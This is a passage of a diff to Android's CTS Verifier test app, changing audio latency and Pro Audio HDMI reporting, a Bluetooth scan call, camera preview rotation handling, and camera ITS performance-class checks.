+    private static final String KEY_CONFIDENCE = "confidence";
+    private static final String KEY_SAMPLE_RATE = "sample_rate";
+    private static final String KEY_IS_PRO_AUDIO = "is_pro_audio";
+    private static final String KEY_IS_LOW_LATENCY = "is_low_latency";
+    private static final String KEY_IS_PERIPHERAL_ATTACHED = "is_peripheral_attached";
+    private static final String KEY_INPUT_PERIPHERAL_NAME = "input_peripheral";
+    private static final String KEY_OUTPUT_PERIPHERAL_NAME = "output_peripheral";
+    private static final String KEY_TEST_PERIPHERAL = "test_peripheral";
+    private static final String KEY_TEST_MMAP = "supports_mmap";
+    private static final String KEY_TEST_MMAPEXCLUSIVE = "supports_mmap_exclusive";
+    private static final String KEY_LEVEL = "level";
+    private static final String KEY_BUFFER_SIZE = "buffer_size_in_frames";
+
+    @Override
+    public String getTestId() {
+        return setTestNameSuffix(sCurrentDisplayMode, getClass().getName());
+    }
+
+    @Override
+    public String getReportFileName() { return PassFailButtons.AUDIO_TESTS_REPORT_LOG_NAME; }
+
+    @Override
+    public final String getReportSectionName() {
+        return setTestNameSuffix(sCurrentDisplayMode, "audio_loopback_latency_activity");
+    }
+
+    //
+    // Subclasses should call this explicitly. SubClasses should call submit() after their logs
+    //
+    @Override
+    public void recordTestResults() {
+        if (mNativeAnalyzerThread == null) {
+            return; // no results to report
+        }
+
+        CtsVerifierReportLog reportLog = getReportLog();
+        reportLog.addValue(
+                KEY_LATENCY,
+                mMeanLatencyMillis,
+                ResultType.LOWER_BETTER,
+                ResultUnit.MS);
+
+        reportLog.addValue(
+                KEY_CONFIDENCE,
+                mMeanConfidence,
+                ResultType.HIGHER_BETTER,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_SAMPLE_RATE,
+                mNativeAnalyzerThread.getSampleRate(),
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_IS_LOW_LATENCY,
+                mNativeAnalyzerThread.isLowLatencyStream(),
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_IS_PERIPHERAL_ATTACHED,
+                mIsPeripheralAttached,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_IS_PRO_AUDIO,
+                mClaimsProAudio,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_TEST_PERIPHERAL,
+                mTestPeripheral,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_TEST_MMAP,
+                mSupportsMMAP,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.addValue(
+                KEY_TEST_MMAPEXCLUSIVE ,
+                mSupportsMMAPExclusive,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        if (mIsPeripheralAttached) {
+            reportLog.addValue(
+                    KEY_INPUT_PERIPHERAL_NAME,
+                    mInputDevInfo != null ? mInputDevInfo.getProductName().toString() : "None",
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+
+            reportLog.addValue(
+                    KEY_OUTPUT_PERIPHERAL_NAME,
+                    mOutputDevInfo != null ? mOutputDevInfo.getProductName().toString() : "None",
+                    ResultType.NEUTRAL,
+                    ResultUnit.NONE);
+        }
+
+        int audioLevel = mAudioLevelSeekbar.getProgress();
+        reportLog.addValue(
+                KEY_LEVEL,
+                audioLevel,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        reportLog.submit();
+    }
+
+    private void startAudioTest(Handler messageHandler) {
+        getPassButton().setEnabled(false);
+
+        mTestPhase = 0;
+        java.util.Arrays.fill(mLatencyMillis, 0.0);
+        java.util.Arrays.fill(mConfidence, 0.0);
+
+        mNativeAnalyzerThread = new NativeAnalyzerThread(this);
+        if (mNativeAnalyzerThread != null) {
+            mNativeAnalyzerThread.setMessageHandler(messageHandler);
+            // This value matches AAUDIO_INPUT_PRESET_VOICE_RECOGNITION
+            mNativeAnalyzerThread.setInputPreset(MediaRecorder.AudioSource.VOICE_RECOGNITION);
+            startTestPhase();
+        } else {
+            Log.e(TAG, "Couldn't allocate native analyzer thread");
+            mResultText.setText(getResources().getString(R.string.audio_loopback_failure));
+        }
+    }
+
+    private void startTestPhase() {
+        if (mNativeAnalyzerThread != null) {
+            mNativeAnalyzerThread.startTest();
+
+            // what is this for?
+            try {
+                Thread.sleep(200);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    private void handleTestCompletion() {
+        mMeanLatencyMillis = StatUtils.calculateMean(mLatencyMillis);
+        mMeanAbsoluteDeviation =
+                StatUtils.calculateMeanAbsoluteDeviation(mMeanLatencyMillis, mLatencyMillis);
+        mMeanConfidence = StatUtils.calculateMean(mConfidence);
+
+        boolean pass = isPeripheralValidForTest()
+                && mMeanConfidence >= CONFIDENCE_THRESHOLD
+                && mMeanLatencyMillis > EPSILON
+                && mMeanLatencyMillis < mMustLatency;
+
+        getPassButton().setEnabled(pass);
+
+        String result;
+        if (mMeanConfidence < CONFIDENCE_THRESHOLD) {
+            result = String.format(
+                    "Test Finished\nInsufficient Confidence (%.2f < %.2f). No Results.",
+                    mMeanConfidence, CONFIDENCE_THRESHOLD);
+        } else {
+            result = String.format(
+                    "Test Finished - %s\nMean Latency:%.2f ms (required:%.2f)\n" +
+                            "Mean Absolute Deviation: %.2f\n" +
+                            " Confidence: %.2f\n" +
+                            " Low Latency Path: %s",
+                    (pass ? "PASS" : "FAIL"),
+                    mMeanLatencyMillis,
+                    mMustLatency,
+                    mMeanAbsoluteDeviation,
+                    mMeanConfidence,
+                    mNativeAnalyzerThread.isLowLatencyStream() ? mYesString : mNoString);
+        }
+
+        // Make sure the test thread is finished. It should already be done.
+        if (mNativeAnalyzerThread != null) {
+            try {
+                mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+        mResultText.setText(result);
+
+        recordTestResults();
+
+        showWait(false);
+        mTestButton.setEnabled(true);
+    }
+
+    private void handleTestPhaseCompletion() {
+        if (mNativeAnalyzerThread != null && mTestPhase < NUM_TEST_PHASES) {
+            mLatencyMillis[mTestPhase] = mNativeAnalyzerThread.getLatencyMillis();
+            mConfidence[mTestPhase] = mNativeAnalyzerThread.getConfidence();
+
+            String result = String.format(
+                    "Test %d Finished\nLatency: %.2f ms\nConfidence: %.2f\n",
+                    mTestPhase,
+                    mLatencyMillis[mTestPhase],
+                    mConfidence[mTestPhase]);
+
+            mResultText.setText(result);
+            try {
+                mNativeAnalyzerThread.stopTest(STOP_TEST_TIMEOUT_MSEC);
+                // Thread.sleep(/*STOP_TEST_TIMEOUT_MSEC*/500);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+
+            mTestPhase++;
+            if (mTestPhase >= NUM_TEST_PHASES) {
+                handleTestCompletion();
+            } else {
+                startTestPhase();
+            }
+        }
+    }
+
+    /**
+     * handler for messages from audio thread
+     */
+    private Handler mMessageHandler = new Handler() {
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            switch(msg.what) {
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_STARTED:
+                    Log.v(TAG,"got message native rec started!!");
+                    showWait(true);
+                    mResultText.setText(String.format("[phase: %d] - Test Running...",
+                            (mTestPhase + 1)));
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_OPEN_ERROR:
+                    Log.v(TAG,"got message native rec can't start!!");
+                    mResultText.setText("Test Error opening streams.");
+                    handleTestCompletion();
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_ERROR:
+                    Log.v(TAG,"got message native rec can't start!!");
+                    mResultText.setText("Test Error while recording.");
+                    handleTestCompletion();
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE_ERRORS:
+                    mResultText.setText("Test FAILED due to errors.");
+                    handleTestCompletion();
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING:
+                    Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_ANALYZING");
+                    mResultText.setText(String.format("[phase: %d] - Analyzing ...",
+                            mTestPhase + 1));
+                    break;
+                case NativeAnalyzerThread.NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE:
+                    Log.i(TAG, "NATIVE_AUDIO_THREAD_MESSAGE_REC_COMPLETE");
+                    handleTestPhaseCompletion();
+                    break;
+                default:
+                    break;
+            }
+        }
+    };
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.audio_loopback_latency_activity);
+
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+        setInfoResources(R.string.audio_loopback_latency_test, R.string.audio_loopback_info, -1);
+
+        mClaimsOutput = AudioSystemFlags.claimsOutput(this);
+        mClaimsInput = AudioSystemFlags.claimsInput(this);
+        mClaimsProAudio = AudioSystemFlags.claimsProAudio(this);
+
+        mYesString = getResources().getString(R.string.audio_general_yes);
+        mNoString = getResources().getString(R.string.audio_general_no);
+
+        // Pro Audio
+        ((TextView)findViewById(R.id.audio_loopback_pro_audio)).setText(
+                "" + (mClaimsProAudio ? mYesString : mNoString));
+
+        // MMAP
+        ((TextView)findViewById(R.id.audio_loopback_mmap)).setText(
+                "" + (mSupportsMMAP ? mYesString : mNoString));
+        ((TextView)findViewById(R.id.audio_loopback_mmap_exclusive)).setText(
+                "" + (mSupportsMMAPExclusive ? mYesString : mNoString));
+
+        // Low Latency
+        ((TextView)findViewById(R.id.audio_loopback_low_latency)).setText(
+                "" + (AudioSystemFlags.claimsLowLatencyAudio(this) ? mYesString : mNoString));
+
+        mTestPathTxt = ((TextView)findViewById(R.id.audio_loopback_testpath));
+
+        mTestButton = (Button)findViewById(R.id.audio_loopback_test_btn);
+        mTestButton.setOnClickListener(mBtnClickListener);
+
+        mAudioManager = getSystemService(AudioManager.class);
+
+        mAudioManager.registerAudioDeviceCallback(new ConnectListener(), new Handler());
+
+        connectLoopbackUI();
+
+        calculateLatencyThresholds();
+        displayLatencyThresholds();
+    }
+
+    private class OnBtnClickListener implements OnClickListener {
+        @Override
+        public void onClick(View v) {
+            switch (v.getId()) {
+                case R.id.audio_loopback_test_btn:
+                    Log.i(TAG, "audio loopback test");
+                    startAudioTest(mMessageHandler);
+                    break;
+            }
+        }
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index d32749f..5ca2256 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -17,11 +17,13 @@
 package com.android.cts.verifier.audio;
 
 import android.app.AlertDialog;
+import android.content.Context;
 import android.content.DialogInterface;
-import android.content.pm.PackageManager;
 import android.content.res.Resources;
+import android.media.AudioDeviceCallback;
 import android.media.AudioDeviceInfo;
 import android.media.AudioFormat;
+import android.media.AudioManager;
 import android.os.Bundle;
 import android.util.Log;
 import android.view.View;
@@ -67,6 +69,7 @@
     private static final String INFO_DIALOG_MESSAGE_ID = "infoDialogMessageId";
 
     // ReportLog Schema
+    private static final String SECTION_PRO_AUDIO_ACTIVITY = "pro_audio_activity";
     private static final String KEY_CLAIMS_PRO = "claims_pro_audio";
     private static final String KEY_CLAIMS_LOW_LATENCY = "claims_low_latency_audio";
     private static final String KEY_CLAIMS_MIDI = "claims_midi";
@@ -79,6 +82,10 @@
     }
 
     // HDMI Stuff
+    private boolean isHDMIConnected() {
+        return mHDMIDeviceInfo != null;
+    }
+
     private boolean isHDMIValid() {
         if (mHDMIDeviceInfo == null) {
             return false;
@@ -129,21 +136,21 @@
         return true;
     }
 
-    protected void handleDeviceConnection(AudioDeviceInfo devInfo) {
+    protected void handleDeviceConnection(AudioDeviceInfo[] addedDevices) {
         mHDMIDeviceInfo = null;
-
-        if (devInfo.isSink() && devInfo.getType() == AudioDeviceInfo.TYPE_HDMI) {
-            mHDMIDeviceInfo = devInfo;
+        for (AudioDeviceInfo deviceInfo : addedDevices) {
+            Log.i(TAG, "  " + deviceInfo.getProductName() + " type:" + deviceInfo.getType());
+            if (deviceInfo.isSink() && deviceInfo.getType() == AudioDeviceInfo.TYPE_HDMI) {
+                mHDMIDeviceInfo = deviceInfo;
+                break;
+            }
         }
 
         if (mHDMIDeviceInfo != null) {
             mClaimsHDMICheckBox.setChecked(true);
-            mHDMISupportLbl.setText(getResources().getString(
-                    isHDMIValid() ? R.string.pass_button_text : R.string.fail_button_text));
         }
-        mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
 
-        calculatePass();
+        displayTestResults();
     }
 
     private boolean calculatePass() {
@@ -173,8 +180,12 @@
         } else if (!mClaimsUSBPeripheralMode) {
             mTestStatusLbl.setText(strings.getString(
                     R.string.audio_proaudio_usbperipheralnotreported));
-        } else if (mClaimsHDMI && isHDMIValid()) {
-            mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_hdminotvalid));
+        } else if (mClaimsHDMI) {
+            if (!isHDMIConnected()) {
+                mTestStatusLbl.setText(strings.getString(R.string.audio_proaudio_hdmiNotFound));
+            } else if (!isHDMIValid()) {
+                mTestStatusLbl.setText(strings.getString(R.string.hdmi_insufficient));
+            }
         }
     }
 
@@ -217,7 +228,10 @@
 
         mTestStatusLbl = (TextView)findViewById(R.id.proAudioTestStatusLbl);
 
-        calculatePass();
+        AudioManager audioManager = getSystemService(AudioManager.class);
+        audioManager.registerAudioDeviceCallback(new TestAudioDeviceCallback(), null);
+
+        displayTestResults();
     }
 
     /**
@@ -232,6 +246,14 @@
     // PassFailButtons Overrides
     //
     @Override
+    public String getReportFileName() { return PassFailButtons.AUDIO_TESTS_REPORT_LOG_NAME; }
+
+    @Override
+    public final String getReportSectionName() {
+        return setTestNameSuffix(sCurrentDisplayMode, SECTION_PRO_AUDIO_ACTIVITY);
+    }
+
+    @Override
     public void recordTestResults() {
 
         CtsVerifierReportLog reportLog = getReportLog();
@@ -277,27 +299,39 @@
     @Override
     public void onClick(View view) {
         switch (view.getId()) {
-        case R.id.proAudioHasHDMICheckBox:
-            if (mClaimsHDMICheckBox.isChecked()) {
-                AlertDialog.Builder builder =
-                        new AlertDialog.Builder(this, android.R.style.Theme_Material_Dialog_Alert);
-                builder.setTitle(getResources().getString(R.string.proaudio_hdmi_infotitle));
-                builder.setMessage(getResources().getString(R.string.proaudio_hdmi_message));
-                builder.setPositiveButton(android.R.string.yes,
-                    new DialogInterface.OnClickListener() {
-                        public void onClick(DialogInterface dialog, int which) {}
-                 });
-                builder.setIcon(android.R.drawable.ic_dialog_alert);
-                builder.show();
+            case R.id.proAudioHasHDMICheckBox:
+                if (mClaimsHDMICheckBox.isChecked()) {
+                    AlertDialog.Builder builder = new AlertDialog.Builder(
+                            this, android.R.style.Theme_Material_Dialog_Alert);
+                    builder.setTitle(getResources().getString(R.string.proaudio_hdmi_infotitle));
+                    builder.setMessage(getResources().getString(R.string.proaudio_hdmi_message));
+                    builder.setPositiveButton(android.R.string.yes,
+                            new DialogInterface.OnClickListener() {
+                                public void onClick(DialogInterface dialog, int which) {
+                                }
+                            });
+                    builder.setIcon(android.R.drawable.ic_dialog_alert);
+                    builder.show();
 
-                mClaimsHDMI = true;
-                mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_pending));
-            } else {
-                mClaimsHDMI = false;
-                mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
-            }
-            calculatePass();
-            break;
+                    mClaimsHDMI = true;
+                    mHDMISupportLbl.setText(
+                            getResources().getString(R.string.audio_proaudio_hdmiPending));
+                } else {
+                    mClaimsHDMI = false;
+                    mHDMISupportLbl.setText(getResources().getString(R.string.audio_proaudio_NA));
+                }
+                displayTestResults();
+                break;
+        }
+    }
+
+    private class TestAudioDeviceCallback extends AudioDeviceCallback {
+        public void onAudioDevicesAdded(AudioDeviceInfo[] addedDevices) {
+            handleDeviceConnection(addedDevices);
+        }
+
+        public void onAudioDevicesRemoved(AudioDeviceInfo[] removedDevices) {
+            // NOP
         }
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/DevicePickerActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/DevicePickerActivity.java
index dc6851b..a5dea4b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/DevicePickerActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/DevicePickerActivity.java
@@ -123,7 +123,6 @@
     }
 
     private void scan() {
-        mBluetoothAdapter.setScanMode(BluetoothAdapter.SCAN_MODE_CONNECTABLE_DISCOVERABLE, 60);
         populatePairedDevices();
         mNewDevicesAdapter.clear();
         if (mBluetoothAdapter.isDiscovering()) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/formats/CameraFormatsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/formats/CameraFormatsActivity.java
index 7fead16..793cbf7 100755
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/formats/CameraFormatsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/formats/CameraFormatsActivity.java
@@ -15,9 +15,6 @@
  */
 package com.android.cts.verifier.camera.formats;
 
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
 import android.app.AlertDialog;
 import android.graphics.Bitmap;
 import android.graphics.Color;
@@ -25,6 +22,7 @@
 import android.graphics.ColorMatrixColorFilter;
 import android.graphics.ImageFormat;
 import android.graphics.Matrix;
+import android.graphics.Rect;
 import android.graphics.SurfaceTexture;
 import android.hardware.Camera;
 import android.hardware.Camera.CameraInfo;
@@ -35,9 +33,9 @@
 import android.util.SparseArray;
 import android.view.Menu;
 import android.view.MenuItem;
-import android.view.View;
 import android.view.Surface;
 import android.view.TextureView;
+import android.view.View;
 import android.widget.AdapterView;
 import android.widget.ArrayAdapter;
 import android.widget.Button;
@@ -46,11 +44,13 @@
 import android.widget.Spinner;
 import android.widget.Toast;
 
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
 import java.io.IOException;
-import java.lang.Math;
 import java.util.ArrayList;
-import java.util.HashSet;
 import java.util.Comparator;
+import java.util.HashSet;
 import java.util.List;
 import java.util.Optional;
 import java.util.TreeSet;
@@ -468,10 +468,6 @@
         } else {  // back-facing
             mPreviewRotation = (info.orientation - degrees + 360) % 360;
         }
-        if (mPreviewRotation != 0 && mPreviewRotation != 180) {
-            Log.w(TAG,
-                "Display orientation correction is not 0 or 180, as expected!");
-        }
 
         mCamera.setDisplayOrientation(mPreviewRotation);
 
@@ -493,6 +489,36 @@
         }
     }
 
+    /**
+     * Rotate and scale the matrix to be applied to the preview or format view, such that no
+     * stretching of the image occurs. To achieve this, the image is centered in the SurfaceTexture
+     * with black bars filling the excess space.
+     */
+    private void concatPreviewTransform(Matrix transform) {
+        float widthRatio = mNextPreviewSize.width / (float) mPreviewTexWidth;
+        float heightRatio = mNextPreviewSize.height / (float) mPreviewTexHeight;
+        float scaledWidth = (float) mPreviewTexWidth;
+        float scaledHeight = (float) mPreviewTexHeight;
+
+        if (heightRatio < widthRatio) {
+            scaledHeight = mPreviewTexHeight * (heightRatio / widthRatio);
+            transform.postScale(1, heightRatio / widthRatio);
+            transform.postTranslate(0,
+                    mPreviewTexHeight * (1 - heightRatio / widthRatio) / 2);
+        } else {
+            scaledWidth = mPreviewTexWidth * (widthRatio / heightRatio);
+            transform.postScale(widthRatio / heightRatio, 1);
+            transform.postTranslate(mPreviewTexWidth * (1 - widthRatio / heightRatio) / 2, 0);
+        }
+
+        if (mPreviewRotation == 90 || mPreviewRotation == 270) {
+            float scaledAspect = scaledWidth / scaledHeight;
+            float previewAspect = (float) mNextPreviewSize.width / (float) mNextPreviewSize.height;
+            transform.postScale(1.0f, scaledAspect * previewAspect,
+                                (float) mPreviewTexWidth / 2, (float) mPreviewTexHeight / 2);
+        }
+    }
+
     private void startPreview() {
         if (mState != STATE_OFF) {
             // Stop for a while to drain callbacks
@@ -511,19 +537,7 @@
         mState = STATE_PREVIEW;
 
         Matrix transform = new Matrix();
-        float widthRatio = mNextPreviewSize.width / (float)mPreviewTexWidth;
-        float heightRatio = mNextPreviewSize.height / (float)mPreviewTexHeight;
-
-        if (heightRatio < widthRatio) {
-            transform.setScale(1, heightRatio/widthRatio);
-            transform.postTranslate(0,
-                mPreviewTexHeight * (1 - heightRatio/widthRatio)/2);
-        } else {
-            transform.setScale(widthRatio/heightRatio, 1);
-            transform.postTranslate(mPreviewTexWidth * (1 - widthRatio/heightRatio)/2,
-            0);
-        }
-
+        concatPreviewTransform(transform);
         mPreviewView.setTransform(transform);
 
         mPreviewFormat = mNextPreviewFormat;
@@ -630,6 +644,31 @@
         protected void onPostExecute(Boolean result) {
             if (result) {
                 mFormatView.setImageBitmap(mCallbackBitmap);
+
+                CameraInfo info = new CameraInfo();
+                Camera.getCameraInfo(mCurrentCameraId, info);
+
+                int rotation = mPreviewRotation;
+                if (info.facing == Camera.CameraInfo.CAMERA_FACING_FRONT) {
+                    rotation = (360 - rotation) % 360;  // de-compensate the mirror
+                }
+
+                if (rotation != 0) {
+                    Matrix transform = new Matrix();
+                    mFormatView.setScaleType(ImageView.ScaleType.MATRIX);
+                    Rect viewRect = mFormatView.getDrawable().getBounds();
+                    transform.postTranslate(-viewRect.width() / 2, -viewRect.height() / 2);
+                    transform.postRotate(rotation);
+                    transform.postTranslate(viewRect.height() / 2, viewRect.width() / 2);
+                    transform.postScale(
+                            mPreviewView.getMeasuredWidth() / (float) viewRect.height(),
+                            mPreviewView.getMeasuredHeight() / (float) viewRect.width());
+                    concatPreviewTransform(transform);
+                    mFormatView.setImageMatrix(transform);
+                } else {
+                    mFormatView.setScaleType(ImageView.ScaleType.FIT_CENTER);
+                }
+
                 if (mProcessingFirstFrame) {
                     mProcessingFirstFrame = false;
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/DetermineFovActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/DetermineFovActivity.java
index 959e98f..b40a24f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/DetermineFovActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/DetermineFovActivity.java
@@ -16,16 +16,16 @@
 
 package com.android.cts.verifier.camera.fov;
 
-import com.android.cts.verifier.R;
-
 import android.app.Activity;
 import android.content.SharedPreferences;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.graphics.Canvas;
 import android.graphics.Color;
+import android.graphics.Matrix;
 import android.graphics.Paint;
 import android.graphics.RectF;
+import android.media.ExifInterface;
 import android.os.Bundle;
 import android.preference.PreferenceManager;
 import android.view.SurfaceHolder;
@@ -35,6 +35,8 @@
 import android.widget.SeekBar;
 import android.widget.SeekBar.OnSeekBarChangeListener;
 
+import com.android.cts.verifier.R;
+
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.IOException;
@@ -77,6 +79,28 @@
             e.printStackTrace();
         }
 
+        int previewOrientation;
+        try {
+            ExifInterface exif = new ExifInterface(pictureFile);
+            int exifOrientation = exif.getAttributeInt(ExifInterface.TAG_ORIENTATION,
+                                                       ExifInterface.ORIENTATION_NORMAL);
+            switch (exifOrientation) {
+                case ExifInterface.ORIENTATION_ROTATE_90: previewOrientation = 90; break;
+                case ExifInterface.ORIENTATION_ROTATE_180: previewOrientation = 180; break;
+                case ExifInterface.ORIENTATION_ROTATE_270: previewOrientation = 270; break;
+                default: previewOrientation = 0; break;
+            }
+        } catch (IOException e) {
+            previewOrientation = 0;
+        }
+
+        if (previewOrientation != 0) {
+            Matrix transform = new Matrix();
+            transform.setRotate(previewOrientation);
+            mPhotoBitmap = Bitmap.createBitmap(mPhotoBitmap, 0, 0, mPhotoBitmap.getWidth(),
+                                               mPhotoBitmap.getHeight(), transform, true);
+        }
+
         mSurfaceView = (SurfaceView) findViewById(R.id.camera_fov_photo_surface);
         mSurfaceHolder = mSurfaceView.getHolder();
         mSurfaceHolder.addCallback(new SurfaceHolder.Callback() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
index b627797..6c8c501 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/fov/PhotoCaptureActivity.java
@@ -453,8 +453,13 @@
         if (mPreviewSizes != null) {
             selectedPreviewSize = mPreviewSizes[mSelectedResolution.cameraId];
         } else if (mSurfaceSize != null) {
-            selectedPreviewSize = getBestPreviewSize(
-                    mSurfaceSize.width, mSurfaceSize.height, params);
+            if (mPreviewOrientation == 0 || mPreviewOrientation == 180) {
+                selectedPreviewSize = getBestPreviewSize(
+                        mSurfaceSize.width, mSurfaceSize.height, params);
+            } else {
+                selectedPreviewSize = getBestPreviewSize(
+                        mSurfaceSize.height, mSurfaceSize.width, params);
+            }
         }
 
         if (selectedPreviewSize != null) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
index 69a63f2..3f836b1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsService.java
@@ -150,8 +150,6 @@
 
     // Performance class R version number
     private static final int PERFORMANCE_CLASS_R = Build.VERSION_CODES.R;
-    // Performance class S version number
-    private static final int PERFORMANCE_CLASS_S = Build.VERSION_CODES.R + 1;
 
     public static final int SERVERPORT = 6000;
 
@@ -737,9 +735,11 @@
                     doCheckStreamCombination(cmdObj);
                 } else if ("isCameraPrivacyModeSupported".equals(cmdObj.getString("cmdName"))) {
                     doCheckCameraPrivacyModeSupport();
-                } else if ("getPerformanceClassLevel".equals(cmdObj.getString("cmdName"))) {
+                } else if ("isPrimaryCamera".equals(cmdObj.getString("cmdName"))) {
                     String cameraId = cmdObj.getString("cameraId");
-                    doGetPerformanceClassLevel(cameraId);
+                    doCheckPrimaryCamera(cameraId);
+                } else if ("isPerformanceClass".equals(cmdObj.getString("cmdName"))) {
+                    doCheckPerformanceClass();
                 } else if ("measureCameraLaunchMs".equals(cmdObj.getString("cmdName"))) {
                     String cameraId = cmdObj.getString("cameraId");
                     doMeasureCameraLaunchMs(cameraId);
@@ -1082,10 +1082,7 @@
                 hasPrivacySupport ? "true" : "false");
     }
 
-    private void doGetPerformanceClassLevel(String cameraId) throws ItsException {
-        boolean isSPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_S);
-        boolean isRPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS == PERFORMANCE_CLASS_R);
-
+    private void doCheckPrimaryCamera(String cameraId) throws ItsException {
         if (mItsCameraIdList == null) {
             mItsCameraIdList = ItsUtils.getItsCompatibleCameraIds(mCameraManager);
         }
@@ -1116,9 +1113,15 @@
             throw new ItsException("Failed to get camera characteristics", e);
         }
 
-        mSocketRunnableObj.sendResponse("performanceClassLevel",
-                (isSPerfClass && isPrimaryCamera) ? "12" :
-                ((isRPerfClass && isPrimaryCamera) ? "11" : "0"));
+        mSocketRunnableObj.sendResponse("primaryCamera",
+                isPrimaryCamera ? "true" : "false");
+    }
+
+    private void doCheckPerformanceClass() throws ItsException {
+        boolean  isPerfClass = (Build.VERSION.MEDIA_PERFORMANCE_CLASS >= PERFORMANCE_CLASS_R);
+
+        mSocketRunnableObj.sendResponse("performanceClass",
+                isPerfClass ? "true" : "false");
     }
 
     private double invokeCameraPerformanceTest(Class testClass, String testName,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index 08cd8b2..c8725bb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -41,6 +41,9 @@
 import java.util.Map;
 import java.util.Set;
 import java.util.TreeSet;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
 import java.io.BufferedReader;
 import java.io.FileReader;
 import java.io.FileNotFoundException;
@@ -77,6 +80,17 @@
             Arrays.asList(new String[] {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}));
     private static final int MAX_SUMMARY_LEN = 200;
 
+    private static final int MPC12_CAMERA_LAUNCH_THRESHOLD = 600; // ms
+    private static final int MPC12_JPEG_CAPTURE_THRESHOLD = 1000; // ms
+
+    private static final String MPC_TESTS_REPORT_LOG_NAME = "MediaPerformanceClassLogs";
+    private static final String MPC_TESTS_REPORT_LOG_SECTION = "CameraIts";
+
+    private static final Pattern MPC12_CAMERA_LAUNCH_PATTERN =
+            Pattern.compile("camera_launch_time_ms:(\\d+(\\.\\d+)?)");
+    private static final Pattern MPC12_JPEG_CAPTURE_PATTERN =
+            Pattern.compile("1080p_jpeg_capture_time_ms:(\\d+(\\.\\d+)?)");
+
     private final ResultReceiver mResultsReceiver = new ResultReceiver();
     private boolean mReceiverRegistered = false;
 
@@ -116,6 +130,10 @@
     private final HashMap<ResultKey, Boolean> mExecutedScenes = new HashMap<>();
